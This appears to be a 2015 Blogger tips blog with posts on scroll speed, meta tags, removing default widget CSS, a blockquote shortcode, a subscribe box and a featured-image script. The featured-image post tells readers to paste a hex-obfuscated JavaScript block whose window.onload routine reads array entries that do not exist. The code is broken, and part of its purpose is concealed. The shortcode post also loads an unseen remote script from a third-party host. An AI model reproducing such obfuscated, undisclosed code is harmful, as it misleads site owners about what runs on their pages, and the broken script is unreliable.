      !function(e){jQuery.scrollSpeed=function(n,o){var t=e(document),i=e(window),l=e("html, body"),r=i.height(),u=0,a=!1;return window.navigator.msPointerEnabled?!1:void i.on("mousewheel DOMMouseScroll",function(e){return a=!0,(e.originalEvent.wheelDeltaY<0||e.originalEvent.detail>0)&&(u=u+r>=t.height()?u:u+=n),(e.originalEvent.wheelDeltaY>0||e.originalEvent.detail<0)&&(u=0>=u?0:u-=n),l.stop().animate({scrollTop:u},o,"default",function(){a=!1}),!1}).on("scroll",function(){a||(u=i.scrollTop())}).on("resize",function(){r=i.height()})},jQuery.easing["default"]=function(e,n,o,t,i){return-t*((n=n/i-1)*n*n*n-1)+o}}(jQuery);
      $(function() {  
        jQuery.scrollSpeed(100, 800);
      });
      //]]>
</script>

Final Words from Author

I hope you liked this script and going to implement this script in your blogger blog. This script can slow down your blogger blog page speed a little bit. If you get an error while adding this script to your blogger blog, then please comment below so it will also help other users getting the same issue. Thanks!
Read More »

Wednesday, June 10, 2015

Most Important Meta Tags to Rank Your Blog Higher!
Do you know what is meta tags? Actually, meta tags are a type of tag which help Google Bots to crawl your blog more fastly and correctly. You can control which description will Google Bots index, which title will be visible on Search Engines search pages. But nowadays, newbie bloggers are using unnecessary meta tags that have no meaning. For example, ‘rating’ tag. Have you ever seen this meta tag on any website or blog? Actually, some years ago or say some months ago, Google had a feature which show website or blog’s rating on search results. But now, that feature has been removed by Google from search results. But some newbie blogger who don’t know this, have added rating meta tag in their template this time also.
So today, to help newbie bloggers to select only necessary, useful and meaningful meta tags for their blogger blog, I am here posting most important meta tags for blogger which are advanced and SEO friendly and are required to rank your post to the first page of Google search.

Most Important Meta Tags To Rank Your Blog:

So here, I am sharing 5 most important meta tags which are required to take your blog to the next level.
  • Description Meta Tag:- As the name of this meta tag cleared what is the means of this meta tag. Sometimes, Google Bots crawl wrong description of Blogger blogs and to correct it, Bloggers use this meta tag. To add this meta tag in your blog, just add this line below ‘<head>’ tag.
[code]<meta expr:content='data:blog.metaDescription' property='og:description'/>[/code]
And now after it, follow these steps:
  1. Go to Blogger Dashboard > Settings > Search preference
  2. Look at Meta Description heading and write your blog’s description on the box after clicking on ‘Edit’ link.
  3. Save it.
  4. Now when you create a post, a new column named ‘Search Description’ will show in which, you have to add your post’s 160 words short description.
[info headline=Info]The meta tag I gave you above is for social sites only. You don’t need any other description tag because Blogger automatically add Description tag for search engines on every post. But if you add, it will be an issue of Duplicate Description Tags.[/info]
  • Image Meta Tag:- Did you ever typed your blog’s homepage address on facebook? and facebook showed wrong logo as preview. Right? To show right logo of your blog on social sites, you can use this meta tag:
[code]<b:if cond='data:blog.url == data:blog.homepageUrl'>
<meta content='YOUR_BLOG’S_IMAGE_URL' itemprop='image'/>
<meta content='YOUR_BLOG’S_IMAGE_URL' property='og:image:src'/>
</b:if>[/code]
  • Title Tag for Social Sites:- Many times, when bloggers type or paste their blog’s URL on Facebook or Google+, they get same title for all their blog’s page. To fix this, Bloggers use title tags. If you also having this issue, then place this meta tag below ‘<head>’ tag in your template:
[code]<meta expr:content='data:blog.pageTitle' itemprop='name'/>
<meta expr:content='data:blog.title' property='og:site_name'/>
<meta expr:content='data:blog.pageTitle' property='og:title'/>[/code]
  • Author Tag:- This meta tag allows social sites to display right author name on Status Updates or link shares on Facebook. Your name will be get written when you share any your blog’s link. Like if you share Blogger Guiders' any post, ‘By Shivansh Verma’ will get written after blog’s URL automatically. To add this meta tag, just use below met tag:
[code]<META NAME='author' content='YOUR_NAME'/>[/code]
  • Viewport Meta Tag:- If you want to make your blog’s template responsive, then you have to add this viewport meta tag in your template. So it would load all CSS Media Queries. To add it, simply just add this code below ‘<head>’ in your template:
[code]<meta content='width=device-width, initial-scale=1, maximum-scale=1' name='viewport'/>[/code]

Final Words from Author

Final Words? Yes. Only these are the most important meta tags that you should must add on your blog. Their are also other meta tags like Copyright or Keywords but now, they doesn’t matter any more. Google stopped using keyword meta tags for calculating ranking of blogs. If you know any other important meta tag that I missed in this post, please mention it on comments below and I will add it ASAP! Thanks!
Read More »

Tuesday, June 09, 2015

Remove Blogger Default Widget CSS Without Messing Up Your Blog
Without Getting Your Template Messed up
We were talked about How to Increase Your Blog’s Loading speed by methods like obfuscation of JavaScript, compress html but today, I am telling you an advanced way to make your blogger blog fast (50% faster). Have you ever noticed two blogger links when you click on ‘View-source’ option? They are links that load blogger’s default widgets CSS like Google Custom Search Box, Popular Post, About Me Widget, Contact Us Box or you can say all the widgets you find ready-to-use from Blogger layout tab, all their CSSs are stored in that two links and Blogger automatically add those two CSS scripts on every blogger blog. You can search that two blogger links also in your blog. Just right click anywhere on your blog and choose ‘View-source’ option and then search these two scripts (will surely present on head section, above first style tag):
<link type='text/css' rel='stylesheet' href='https://www.blogger.com/static/v1/widgets/1943648796-widget_css_bundle.css' />
<link type='text/css' rel='stylesheet' href='https://www.blogger.com/dyn-css/authorization.css?targetBlogID=409613815755816581&zx=bb8de68c-260e-44c4-85b6-beeec0df011c' />
Found? These two scripts make your blog to load 50% less faster from your blog’s original loading speed. Let’s do an experiment to prove that these two CSS scripts make your blog’s load very poor- Create a new blog and set template ‘Simple Template’ of that blog. Now open that blog and check the loading time using Pingdom. Now, do every step mentioned below for removing that two scripts and after doing all the steps, re-check that blog’s loading speed. You will find a huge decrease in loading speed and thus, increase in rank and Alexa.

If you are thinking that we are publishing here normal method of removing blogger default widget CSS, then you are wrong. Have you ever tried to remove that two CSS links from any other method and got your template messed up? No? Then please don’t try them because other methods of removing those CSS links will make your blog’s loading speed faster but you will not be able to use that template again if you are not a CSS expert. But don’t worry… because today, I am not only telling you that how to remove that two scripts from your template, but also telling you how to do that safely without getting your template messed up.

How to Remove Those Two CSS Scripts from Blogger Blog?

Now, let’s learn how to remove that two CSS Scripts from blogger blog.
  • Search for '<b:skin><![CDATA[' in your blogger template and replace it with:
&lt;style type=&quot;text/css&quot;&gt;
&lt;!-- /*<b:skin><![CDATA[*/]]></b:skin>
<style type='text/css'>
  • Now again search for ']]></b:skin>' and replace it with ‘</style>’
  • And save your template.
If your template is not messed up and all your blog is working fine, then you don’t need to read rest post and Congratulation! you have successfully removed that scripts. You can check them from view-source tool and you will find them under comment tags that means they are almost removed! But, if your template has been messed up, then use below steps.

How to Make Your Template Un-Messed Again?

If Popular Posts Widget is Messed Up:

  • If your popular post widget is messed up, then kindly put below CSS above '</style>' in your template:
.PopularPosts .item-thumbnail{float:left;margin:0 5px 5px 0}.PopularPosts .widget-content ul li{padding:.7em 0}.PopularPosts img{padding-right:.4em}.PopularPosts .item-title{padding-bottom:.2em}
  • And then save your template.

If Contact Us Widget is messed up:

  • If Contact Us widget got messed up after removing that CSS Scripts, then kindly place this CSS code below '</style>' tag in your template:
.contact-form-widget{height:320;margin-left:0;padding:0;padding-top:0;width:100%}.contact-form-success-message{background:#f9edbe;border:0 solid #f0c36d;bottom:0;box-shadow:0 2px 4px rgba(0,0,0,.2);color:#222;font-size:11px;line-height:19px;margin-left:0;opacity:1;position:static;text-align:center}.contact-form-error-message{background:#f9edbe;border:0 solid #f0c36d;bottom:0;box-shadow:0 2px 4px rgba(0,0,0,.2);color:#666;font-size:11px;font-weight:bold;line-height:19px;margin-left:0;opacity:1;position:static;text-align:center}.contact-form-success-message-with-border{background:#f9edbe;border:1px solid #f0c36d;bottom:0;box-shadow:0 2px 4px rgba(0,0,0,.2);color:#222;font-size:11px;line-height:19px;margin-left:0;opacity:1;position:static;text-align:center}.contact-form-error-message-with-border{background:#f9edbe;border:1px solid #f0c36d;bottom:0;box-shadow:0 2px 4px rgba(0,0,0,.2);color:#666;font-size:11px;font-weight:bold;line-height:19px;margin-left:0;opacity:1;position:static;text-align:center}.contact-form-cross{height:11px;margin:0 5px;vertical-align:-8.5%;width:11px}.contact-form-email,.contact-form-name{background:#fff;background-color:#fff;border:1px solid #d9d9d9;border-top:1px solid #c0c0c0;box-sizing:border-box;color:#333;display:inline-block;font-family:Arial,sans-serif;font-size:13px;height:24px;margin:0;margin-top:5px;padding:0;vertical-align:top}.contact-form-email-message{background:#fff;background-color:#fff;border:1px solid #d9d9d9;border-top:1px solid #c0c0c0;box-sizing:border-box;color:#333;display:inline-block;font-family:Arial,sans-serif;font-size:13px;margin:0;margin-top:5px;padding:0;vertical-align:top}.contact-form-email:hover,.contact-form-name:hover,.contact-form-email-message:hover{border:1px solid #b9b9b9;border-top:1px solid #a0a0a0;box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.contact-form-email:focus,.contact-form-name:focus,.contact-form-email-message:focus{border:1px solid #4d90fe;box-shadow:inset 0 1px 2px rgba(0,0,0,.3);outline:none}.contact-form-name,.contact-form-email,.contact-form-email-message{width:100%}.contact-form-button{-webkit-border-radius:2px;-moz-border-radius:2px;-webkit-transition:all .218s;-moz-transition:all .218s;-o-transition:all .218s;-webkit-user-select:none;-moz-user-select:none;background-color:#f5f5f5;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#f1f1f1));background-image:-webkit-linear-gradient(top,#f5f5f5,#f1f1f1);background-image:-moz-linear-gradient(top,#f5f5f5,#f1f1f1);background-image:-ms-linear-gradient(top,#f5f5f5,#f1f1f1);background-image:-o-linear-gradient(top,#f5f5f5,#f1f1f1);background-image:linear-gradient(top,#f5f5f5,#f1f1f1);border:1px solid #dcdcdc;border:1px solid rgba(0,0,0,.1);border-radius:2px;color:#444;cursor:default;display:inline-block;filter:progid:DXImageTransform.Microsoft.gradient(startColorStr='#f5f5f5',EndColorStr='#f1f1f1');font-family:"Arial","Helvetica",sans-serif;font-size:11px;font-weight:bold;height:24px;line-height:24px;margin-left:0;min-width:54px;*min-width:70px;padding:0 8px;text-align:center;transition:all .218s}.contact-form-button:hover,.contact-form-button.hover{-moz-box-shadow:0 1px 1px rgba(0,0,0,.1);-moz-transition:all 0;-o-transition:all 0;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.1);-webkit-transition:all 0;background-color:#f8f8f8;background-image:-webkit-gradient(linear,left top,left bottom,from(#f8f8f8),to(#f1f1f1));background-image:-webkit-linear-gradient(top,#f8f8f8,#f1f1f1);background-image:-moz-linear-gradient(top,#f8f8f8,#f1f1f1);background-image:-ms-linear-gradient(top,#f8f8f8,#f1f1f1);background-image:-o-linear-gradient(top,#f8f8f8,#f1f1f1);background-image:linear-gradient(top,#f8f8f8,#f1f1f1);border:1px solid #c6c6c6;box-shadow:0 1px 1px rgba(0,0,0,.1);color:#222;filter:progid:DXImageTransform.Microsoft.gradient(startColorStr='#f8f8f8',EndColorStr='#f1f1f1');transition:all 0}.contact-form-button.focus,.contact-form-button.right.focus,.contact-form-button.mid.focus,.contact-form-button.left.focus{border:1px solid #4d90fe;outline:none;z-index:4 !important}.contact-form-button-submit:focus,.contact-form-button-submit.focus{-moz-box-shadow:inset 0 0 0 1px rgba(255,255,255,.5);-webkit-box-shadow:inset 0 0 0 1px rgba(255,255,255,.5);box-shadow:inset 0 0 0 1px rgba(255,255,255,.5)}.contact-form-button-submit:focus,.contact-form-button-submit.focus{border-color:#404040}.contact-form-button-submit:focus:hover,.contact-form-button-submit.focus:hover{-moz-box-shadow:inset 0 0 0 1px #fff,0 1px 1px rgba(0,0,0,.1);-webkit-box-shadow:inset 0 0 0 1px #fff,0 1px 1px rgba(0,0,0,.1);box-shadow:inset 0 0 0 1px #fff,0 1px 1px rgba(0,0,0,.1)}.contact-form-button-submit{background-color:#666;background-image:-webkit-gradient(linear,left top,left bottom,from(#777),to(#555));background-image:-webkit-linear-gradient(top,#777,#555);background-image:-moz-linear-gradient(top,#777,#555);background-image:-ms-linear-gradient(top,#777,#555);background-image:-o-linear-gradient(top,#777,#555);background-image:linear-gradient(top,#777,#555);border:1px solid #505050;color:#fff;filter:progid:DXImageTransform.Microsoft.gradient(startColorStr='#777777',EndColorStr='#555555')}.contact-form-button-submit:hover{background-color:#555;background-image:-webkit-gradient(linear,left top,left bottom,from(#666),to(#444));background-image:-webkit-linear-gradient(top,#666,#444);background-image:-moz-linear-gradient(top,#666,#444);background-image:-ms-linear-gradient(top,#666,#444);background-image:-o-linear-gradient(top,#666,#444);background-image:linear-gradient(top,#666,#444);border:1px solid #404040;color:#fff;filter:progid:DXImageTransform.Microsoft.gradient(startColorStr='#666666',EndColorStr='#444444')}.contact-form-button-submit:active,.contact-form-button-submit:focus:active,.contact-form-button-submit.focus:active{-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.3);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,.3);box-shadow:inset 0 1px 2px rgba(0,0,0,.3)}.contact-form-button-submit{background-color:#4d90fe;background-image:-webkit-gradient(linear,left top,left bottom,from(#4d90fe),to(#4787ed));background-image:-webkit-linear-gradient(top,#4d90fe,#4787ed);background-image:-moz-linear-gradient(top,#4d90fe,#4787ed);background-image:-ms-linear-gradient(top,#4d90fe,#4787ed);background-image:-o-linear-gradient(top,#4d90fe,#4787ed);background-image:linear-gradient(top,#4d90fe,#4787ed);border-color:#3079ed;filter:progid:DXImageTransform.Microsoft.gradient(startColorStr='#4d90fe',EndColorStr='#4787ed')}.contact-form-button-submit:hover{background-color:#357ae8;background-image:-webkit-gradient(linear,left top,left bottom,from(#4d90fe),to(#357ae8));background-image:-webkit-linear-gradient(top,#4d90fe,#357ae8);background-image:-moz-linear-gradient(top,#4d90fe,#357ae8);background-image:-ms-linear-gradient(top,#4d90fe,#357ae8);background-image:-o-linear-gradient(top,#4d90fe,#357ae8);background-image:linear-gradient(top,#4d90fe,#357ae8);border-color:#2f5bb7;filter:progid:DXImageTransform.Microsoft.gradient(startColorStr='#4d90fe',EndColorStr='#357ae8')}.contact-form-button.disabled,.contact-form-button.disabled:hover,.contact-form-button.disabled:active{background:none;border:1px solid #f3f3f3;border:1px solid rgba(0,0,0,.05);color:#b8b8b8;cursor:default;pointer-events:none}.contact-form-button-submit.disabled,.contact-form-button-submit.disabled:hover,.contact-form-button-submit.disabled:active{-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=50)";background-color:#666;border:1px solid #505050;color:#fff;filter:alpha(opacity=50);opacity:.5}.contact-form-button-submit.disabled,.contact-form-button-submit.disabled:hover,.contact-form-button-submit.disabled:active{background-color:#4d90fe;border-color:#3079ed}
  • Then save your template and you will get contact box un-messed!

Other Widgets Messed Up?

If any other widget of your blog is got messed up or is miss-behaving, then just tell us that widget name with your blog’s link using comment box and we will help you to make it un-messed in minutes!

Final Words from Author

I hope you liked this post. I think, the steps above mentioned are hard to do. Right? If yes, then please give us a chance to help you. Just leave your blog’s link in comments below and tell us what help you need but remember, off topic question will not get replies (for them, please contact us). At last, please spread this post! Thanks!
Read More »

Saturday, June 06, 2015

HTML, CSS & JS Blockquote Shortcode for Blogger!
Untitled-1 copy-
You know what is shortcode right? If no, then- Shortcode is a plugin developed by MBT which allows you to create shortcodes in your posts, comments and on sidebar of your blog. Today, we have created one more shortcode  for blogger that allows you to add different blockquotes for different languages.
If you are a blogger and you has a blog whose niche is Blogging, then it is impossible that you not add JavaScript, CSS and HTML codes on your post. So today, we have two things to tell you. First is Shortcode Blockquote, and second is- Now you can add different blockquotes for different languages! Like if you are going to post HTML widget in your template, then write 2-4 words and then your HTML code, then the result will be like this:HTML Example
We not only created this blockquote for html codes, but also for JavaScript codes and CSS codes and the best thing is, you can now add different blockquotes for different languages using Shortcodes! Which means, now you don’t have to go to blogger editor’s HTML mode. You can add it directly from Compose mode with some [] and 2-3 words! And you can also customize these blockquotes css to change its look! Now let's know how to add this awesome shortcode by Blogger Guiders on your blogger blog-
DEMO: See live demo here.

How to Add this Shortcode on Blogger?

Steps are very easy. We will provide you a JavaScript file and some CSS codes. You just have to place them in your blog as your tasty shortcodes are ready to get eaten! I mean your useful blockquote are ready for use! Let’s know how to add it on your blog-
  • Go to Blogger Dashboard > Edit HTML
  • Press Ctrl+F3 to open search box and type ]]></b:skin> on that search box and press enter.
  • Above ]]></b:skin>, paste bellow CSS:
.csscode,.htmlcode,.javascriptcode{background-repeat:no-repeat;border:1px solid #A9A9A9;border-top-right-radius:10px;font-family:courier;border-bottom:2px solid #000!important;background-color:#CBCBCB;border-top-left-radius:10px;border-top:2px solid #000!important;box-shadow:0 0 23px -8px #000}.htmlcode{padding:89px 35px 35px;background-image:url(http://s12.postimg.org/k6nn64clp/Untitled_2_copy.png),url(http://1.bp.blogspot.com/-qy_dCTRr75U/U1Qyhq1lQ5I/AAAAAAAACbw/1mJB5K3rp50/s1600/header.png);color:#FFFEFF}.javascriptcode{padding:90px 35px 35px;background-image:url(http://s12.postimg.org/ig97idkgd/Untitled_2_cdopy.png),url(http://1.bp.blogspot.com/-qy_dCTRr75U/U1Qyhq1lQ5I/AAAAAAAACbw/1mJB5K3rp50/s1600/header.png);background-size:100%;margin-bottom:36px;color:#FFFEFF}.csscode{padding:89px 35px 35px;background-image:url(http://s12.postimg.org/8k84iqeod/Untitled_2_csopy.png),url(http://1.bp.blogspot.com/-qy_dCTRr75U/U1Qyhq1lQ5I/AAAAAAAACbw/1mJB5K3rp50/s1600/header.png);color:#FFFEFF}
  • This CSS is compressed so it won’t effect your site’s page loading time.
  • Now again search for ‘<body>’ and below it, place following code:
<script async='async' type="text/javascript" src="http://yourjavascript.com/692651931/publishing-shortcode.js"></script>

This JavaScript is asynchronized & Compressed So it won’t effect your site’s loading speed.

How to Use this Blockquote Shortcode?

Now let’s learn how to use this shortcode on Blogger-
This Shortcode only have two variables which are- 1) ‘type’ and 2) ‘code’. So, in ‘type’, you can add three values- 1) htmlcode (for HTML blockquote) 2) csscode (for CSS blockquote) and 3) javascriptcode (for JavaScript blockquote). And in ‘code’, you have to add the code which you want inside blockquote.
  • Let’s create a html blockquote. To create it, use below like code:
[blockquote type='htmlcode' code='YOUR HTML,JS, CSS HERE!'/]
Output:HTML Example
  • Now let’s create a JavaScript blockquote. To create it:
[blockquote type='javascriptcode' code='YOUR HTML,JS, CSS HERE!'/]
Output:
JS Example
  • At last, let’s create a CSS blockquote. To create it,:
[blockquote type='csscode' code='YOUR CSS HERE!'/]
Output: CSS Example-min

Final Words from Author

Now I think you learned how to create these blockquote on your blogger blog using shortcodes. However, if you got any error or problem or have any confusion, then please inform us through comment below. This will surely help your blog’s visitors to identify in which language you are providing the codes and it will also give a professional touch to your blogger blog. Thanks!
Read More »

Friday, June 05, 2015

How to Add New Shiny Subscribe Box with Social Icons For Blogger?
search-engine-love
We all know that 50% or more than 50% traffic we get toward our blog, come from facebook, twitter, Google+ and 20% of that 50% comes from Subscribed readers (if you have a big subscription list). To get more subscribers, Bloggers use Subscribe Box that help their blog's visitors to subscribe to the blog directly from the sidebar. So today, we brought you a shiny widget that will boost your blog’s traffic. Today we brought you a shiny Subscribe Box which is catchy, attractive and shiny! We have not only included subscribe box on this widget, but also added beautiful font awesome icons that works on any browser and on any screen! And also catchy colorful social icons because social promotion is also important.

I think, you have already noticed this subscribe box in our sidebar. We tested this widget and found it useful so releasing it here, on Blogger Guiders.

How to add this Subscribe Box to your blogger blog?

The steps are really easy to implement this subscribe box in your blogger blog. But little attention is required.
Steps are following:
  • Go to Blogger Dashboard > Template > Edit HTML
  • Search for ‘]]></b:skin>’ in your template.
  • Above it, place the following CSS code:
/*------- Subscribe Box By Blogger Guiders
---------------------------------------- */
.subscribe-box {
box-shadow: 2px 2px 2px 2px #000;
padding: 30px;
background: #000;
background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .2) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .2) 50%, rgba(255, 255, 255, .2) 75%, transparent 75%, transparent);
}
.sub-box {
text-align: center;
}
.subscribe-heading {
background: #FEBD17;padding: 9px;
letter-spacing: 2px;
font-size: 14px;
font-family: oswald;
border-radius: 8px;
box-shadow: 2px 2px 1px #000;
text-shadow: 2px 2px 1px #000;
padding-left: 10px;
padding-top: 8px;
color: #FFF;
border: 2px dashed #fff;
padding-right: 10px;
}
.sub-icon {
float: right;
font-size: 81px;
margin-left: 15px;
text-shadow: 0px 2px 1px #FFFFFF;
color: #FEBD17;
margin-top: 22px;
}
.subscribe-content {
margin-top: 27px;
font-size: 12px;
color: #FFF;
text-align: justify;
text-shadow: 0px 0px 1px #818181;
font-family: -webkit-body;
}
#email-form {
margin-left: 0;
font-family: oswald;
font-size: 12px;
color: #818181;
transition: .3s;
width: 100%;
margin-bottom: 10px;
height: 43px;
border: 2px solid #DFDFDF;
padding: 10px;
}
#email-button:hover {
background: #646464;
}
#email-form:hover {
border-color:#000;
}
#email-button {
background: #FEBD17;
border: 0;
width: 100%;
color: #FFF;
font-size: 12px;
font-family: oswald;
height: 43px;
border-radius: 6px;
transition: .3s all;
}
#email-button:hover {
color: #FFF;
}
#HTML10 {
margin-top: 43px!important;
}
#email-button2 {
background: #FEBD17;
border: 0;
width: 85px;
color: #FFF;
font-size: 12px;
font-family: oswald;
height: 43px;
border-radius: 6px;
transition: .3s all;
}
#email-button2:hover {
background:#969696;
}
#email-form2 {
margin-left: 0;
font-family: oswald;
font-size: 12px;
color: #818181;
transition: .3s;
width: 161px;
height: 43px;
border: 2px solid #DFDFDF;
padding: 10px;
}
#email-button:hover {
background: #646464;
}
#email-form2:hover {
border-color:#000;
}

/* Widget social links */
.social-links-widget a{
display:inline-block;
line-height:50px;
width:50px;
height:50px;
float:left;
background:#444;
color:#fff !important;
font-size:18px;
text-decoration:none;
text-align:center;
margin:0 10px 10px 0;
/*border-radius*/
-webkit-border-radius:10px;
-moz-border-radius:10px;
border-radius:100px;
box-shadow: 0px 0px 7px 7px #FFF;
}
.social-links-widget a.social-links-facebook{
background:#3b5998;
border:0px solid;
transition:all .3s;
}
.social-links-widget a.social-links-gplus{
background:#dd4b39;
border:0px solid;
transition:all .3s;
}
.social-links-widget a.social-links-linkedin{
background:#0976b4;
border:0px solid;
transition:all .3s;
}
.social-links-widget a.social-links-pinterest{
background:#cc2127;
border:0px solid;
transition:all .3s;
}
.social-links-widget a.social-links-twitter{
background:#55acee;
border:0px solid;
transition:all .3s;
}
a.social-links-facebook:hover{
background: #2B4680;
transition: all .3s;
border-left: 5px solid #183874;
}
a.social-links-gplus:hover{
background: #BA3D2E;
border-left: 5px solid #963327;
transition: all .3s;
}
a.social-links-linkedin:hover{
background: #086194;
border-left: 5px solid #074F77;
transition: all .3s;
}
a.social-links-pinterest:hover{
background: #AD191E;
border-left: 5px solid #84161A;
transition: all .3s;
}
a.social-links-twitter:hover{
background: #4A94CD;
border-left: 5px solid #37729E;
transition: all .3s;
}
.credits {
  color: #9E9E9E;
  font-size: 7px;
  float: right;
}

Customizations:

  1. To remove shiny effect from the background, remove black colored codes from above code.
  2. To change the background color of the widget, change the hexa color code of green-bold code.
  3. To change heading color, change the hexa color code of blue-bold code.
  4. To change the color of font awesome icon, just change the hexa color code of pink-bold code.
  5. For any other customization help, just comment below.
  • Now, save your template.
  • Go to Layout > Add a Gadget > HTML JavaScript
  • Leave title field as it is and move to Content field.
  • On Content field, paste below code:
<div class="subscribe-box"><div class="sub-box">
  <div class="subscribe-heading">
  <i class="fa fa-envelope-o"></i> Subscribe Us
  </div>
  <div class="sub-icon">
  <i class="fa fa-envelope"></i>
</div><div class="subscribe-content">
    Have You Liked Our Posts and Article About Blogging? Want to Get Them Fastly? Just Put Your Nice Email ID In the Box Below and Click Subscribe Button! Then You Will Get All Our Updates Directly On Your Inbox Without Any Hassle!</div>
<form action="http://feedburner.google.com/fb/a/mailverify" id="subscribe" method="post" onsubmit="window.open('http://feedburner.google.com/fb/a/mailverify?uri=bloggerguiders', 'popupwindow', 'scrollbars=yes,width=550,height=520');return true" target="popupwindow" style="
    margin-top: 20px;
">
<input name="uri" type="hidden" value="bloggerguiders" />
<input name="loc" type="hidden" value="en_US" />
<input class="email-form" id="email-form" name="email" onblur="if (this.value == &quot;&quot;) {this.value = &quot;Enter your email...&quot;;}" onfocus="if (this.value == &quot;Enter your email...&quot;) {this.value = &quot;&quot;}" type="text" value="Enter your email..." />
<input id="email-button" title="" type="submit" value="Sign Up" />
</form>
<div class="sub-box" style="
    margin-top: 30px;
"><div class="subscribe-heading" id="heading2" style="
">
  Follow Us On Social Sites
  </div></div>
<div class="social-links-widget cf" style="
    margin-top: 34px;
    margin-left: 10px;
">
<a class="social-links-facebook" href="http://www.facebook.com/BloggerGuiders" target="_blank">
<i class="fa fa-facebook"></i>
</a>
<a class="social-links-gplus" href="http://www.google.com/+BloggerGuidersBlogspot1" target="_blank">
<i class="fa fa-google-plus"></i>
</a> 

<a class="social-links-pinterest" href="http://www.pinterest.com/ShivanshVerma" target="_blank">
<i class="fa fa-pinterest"></i>
</a>
<a class="social-links-twitter" href="http://www.twitter.com/BloggerGuiders" target="_blank">
<i class="fa fa-twitter"></i>
</a>
</div></div></div>

<div class='credits'>
Created By Blogger Guiders
</div>

<link href='http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css' rel='stylesheet' type='text/css'/>

Customizations:

  1. To change the text in the widget, edit the text which is in sky blue (aqua) color.
  2. Change blue colored links with your social links.
  3. Change light green (lime) colored text with your feedburner username.
  • Click on Save Button!
  • Done!
Now take a look to your blog. A nice subscription box will be visible their!

Final Words from Author

I hope you liked this widget and I am damn sure that this widget will help you in increasing your subscribers number of your blog. If you get any problem while setting up this widget on your blog, just comment below and we will come to help you. Thanks!
Read More »

Thursday, June 04, 2015

How to Show Featured Image Above the Post Title?
Featured Image
I think you all add a featured image in your blog posts. If no, then do you know that what is a featured image? Actually, featured image is a image that gives some information to the viewer before reading the post about the post. Bloggers use this ‘featured image’ trick to attract more and more visitors toward their blog. So, today,to make this ‘featured image’ trick more effective, I brought you a simple set of javascript and CSS with some HTML, by which you will be able to add featured image before your post (means above the title) on your blog! Did you ever saw and noticed our featured image? It is above title every time. This makes a blog’s design unique and professional too! Imagine- when a visitor land on your blog, he first see a nice welcoming featured image, then title and then content. Featured image will force his mind to read the post. Using this feature on blogger, you can attract your blog’s readers and really, it totally change a blog’s look.

How this feature Works?

This feature works with some JavaScript, CSS (Cascade Sylesheet Script) and some HTML. JavaScript to make this trick work, CSS to stylize it and HTML, to show it. Actually, this set of JavaScript, CSS and HTML, pick up the first image of the post and set it above the post’s title. But their is a problem with this script. Not very big problem. Whenever you don’t insert a featured image in your post, it will pick up any of your post’s image and show it above title. So after installing this feature in your blog, don’t forget to insert a featured image every time. And one more thing, this script will effect your old posts too.

How to Install this Feature on Blogger?

Now, its time to learn how to install this feature on your blog. This tutorial is simple as ABC the only thing you have to do is, carefully follow all the steps.
Steps are following:
  • Go to Blogger Dashboard > Template > Edit HTML
  • Now, press Ctrl+F to open the search box.
  • Type ‘]]></b:skin>’ on the search box and press enter.
  • Above ‘]]></b:skin>’, paste the following CSS:
.tcpic img{ 
margin-top:25px; 
background: #FFF; 
width:94%; 
}
  • You can customize the widget, background of the image by making changes on above CSS.
  • Now, search for ‘</head>’ using the search box and above it, paste below JavaScript:
<b:if cond='data:blog.pageType == &quot;item&quot;'>
 <script>
 //<![CDATA[ 
  var _0x7c5d=
["\x73\x72\x63","\x61\x74\x74\x72","\x2E\x65\x6E\x74\x72\x79\x2D\x63\x6F\x6E\x74\x65\x6E\x74\x20\x69\x6D\x67","\x2E\x74\x63\x70\x69\x63","\x61\x70\x70\x65\x6E\x64\x54\x6F","\x3C\x63\x65\x6E\x74\x65\x72\x3E\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22","\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x66\x69\x72\x73\x74\x70\x69\x63\x22\x2F\x3E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E","\x72\x65\x6D\x6F\x76\x65","\x66\x69\x72\x73\x74","\x68\x69\x64\x65","\x65\x72\x72\x6F\x72","\x69\x6D\x67","\x72\x65\x61\x64\x79","\x6F\x6E\x6C\x6F\x61\x64","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"];var _0x478e=[_0x7c5d[0],_0x7c5d[1],_0x7c5d[2],_0x7c5d[3],_0x7c5d[4],_0x7c5d[5],_0x7c5d[6],_0x7c5d[7],_0x7c5d[8],_0x7c5d[9],_0x7c5d[10],_0x7c5d[11],_0x7c5d[12],_0x7c5d[13],_0x7c5d[14]];$(document)[_0x478e[12]](function(){var _0xe09ax2=$(_0x478e[2])[_0x478e[1]](_0x478e[0]);$(_0x478e[5]+_0xe09ax2+_0x478e[6])[_0x478e[4]](_0x478e[3]);$(_0x478e[2])[_0x478e[8]]()[_0x478e[7]]();$(_0x478e[11])[_0x478e[10]](function(){$(this)[_0x478e[9]]()});});window[_0x478e[13]]=function(){var _0xe09ax3=document[_0x478e[15]](_0x478e[14]);if(_0xe09ax3==null){window[_0x478e[17]][_0x478e[16]]=_0x478e[18]};_0xe09ax3[_0x478e[19]](_0x478e[16],_0x478e[18]);_0xe09ax3[_0x478e[19]](_0x478e[20],_0x478e[21]);_0xe09ax3[_0x478e[19]](_0x478e[22],_0x478e[23]);_0xe09ax3[_0x478e[24]]=_0x478e[23];}; 
//]]>
 </script>
 </b:if>
  • Now, the last step. Just search for ‘<b:includable id='main' var='top'>’ and below it, paste the following code:

<b:if cond='data:blog.pageType == &quot;item&quot;'> 
<div class='tcpic' id='pic1'/> 
</b:if>
  • Now at last, save your template and you are done! See you blog and leave your feedback in comments.

Final Words from Author

This is also the one and only post. You will not find this feature if you Google it! This is like a plugin. WordPress have already a plugin that help wordpress blogger to show the featured image above post title but now we made it for Blogger! If you have any confusion regarding above steps, then kindly leave your comment below and give us your feedback. Thanks!
Read More »

Wednesday, June 03, 2015

Facebook, Google+ or Twitter- Which is Best for Newbies Bloggers?

Untitled-1

